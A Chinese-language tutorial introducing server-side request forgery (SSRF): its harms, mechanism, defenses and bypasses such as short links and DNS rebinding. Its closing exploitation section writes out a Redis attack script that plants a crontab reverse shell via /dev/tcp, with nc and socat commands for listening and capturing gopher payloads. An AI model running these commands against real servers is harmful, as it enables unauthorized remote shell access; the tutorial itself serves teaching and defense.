Web安全之初识SSRF与防护
一、什么是SSRF?
SSRF即服务端请求伪造(Server-Side Request Forgery),通俗地来讲就是在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份向服务器所在内网发送一条信息。
二、SSRF的危害
SSRF攻击通常针的是对外部网络无法直接访问的内部系统,那么它的危害主要是以下几个方面:
-
利用file协议读取本地文件,比如file:///etc/passwd 攻击内网和本地的应用程序及服务。
-
内网、本地端口扫描,获取开放端口信息
-
主机信息收集,web应用指纹识别,获取服务banner信息
-
根据识别出的应用针对性的发送payload攻击,例如struts2
-
利用Redis未授权访问,HTTP CRLF注入达到反弹shell、写webshell、写ssh私钥
-
穿越防火墙
三、SSRF的原理
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
四、防御方法
首先我们需要禁用掉不需要的协议,仅允许 HTTP(s) 请求,防止使用 file:// 等其它协议读取本地文件,其次就是我们需要对输出内容进行判断,例如我应该输出一张图片,如果抓取到的是一段文本我们就不应该输出。还有就是如果抓取远端地址导致报错返回的情况,我们需要对返回给用户的内容进行统一地处理,而不是直接将远端服务器的内容返回给用户,这样就可以减少攻击者了解到更多远端服务器信息的机会。
总结一下主要有以下几个方面:
- 禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
- 过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
- 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
- 限制请求的端口,比如80,443,8080,8090。
- 使用DNS缓存或者Host白名单的方式。
在大多数情况下采用以上的处理是没有问题的,但有时候攻击者可能采用某些特殊的办法进行绕过。
五、特殊情况
1.短链接绕过
短链接是先到短链接服务的地址之后再302跳转到真实服务器上,如果攻击者对内网地址进行短链处理之后会被判断短链服务的 IP 为合法 IP 而通过校验。
解决办法:
由于跳转后的地址也还是需要 DNS 解析的,所以只要在每次域名请求 DNS 解析处都做内网 IP 判断的逻辑即可。
2.DNS 重新绑定绕过
DNS 重新绑定攻击简单来说就是利用 DNS 服务器来使得每次解析返回不同的 IP,当在校验 IP 的时候 DNS 解析返回合法的值,等后续重新请求内容的时候 DNS 解析返回内网 IP。这种利用了多次 DNS 解析的攻击方式就是 DNS 重新绑定攻击。
解决办法:
在抓取请求发起的时候直接判断解析的 IP,如果不符合的话直接拒绝连接。
六、漏洞利用
攻击redis服务
1.常规利用方式
内网redis(port:6379)通常存在未授权访问的情况,防护较弱可攻击。
首先要了解通过redis getshell的exp写成的bash shell.sh:
echo -e "nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令 bash shell.sh 127.0.0.1 6379可在redis里面写入crontab的定时任务,本地通过nc -nvlp 2333开启监听2333端口来反弹shell。
2.gopher利用方式
我们要将普通的请求转成适配gopher协议的url,首先获取bash脚本对redis发出的访问请求,这里利用socat进行端口转发,转发命令。
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
即将访问4444端口的流量转发到6379端口。也就是说我们bash请求的是4444端口,但是访问的还是6379的redis,即端口转发。
bash shell.sh 127.0.0.1 4444 >redis.log
这样就截获到redis的日志记录文件redis.log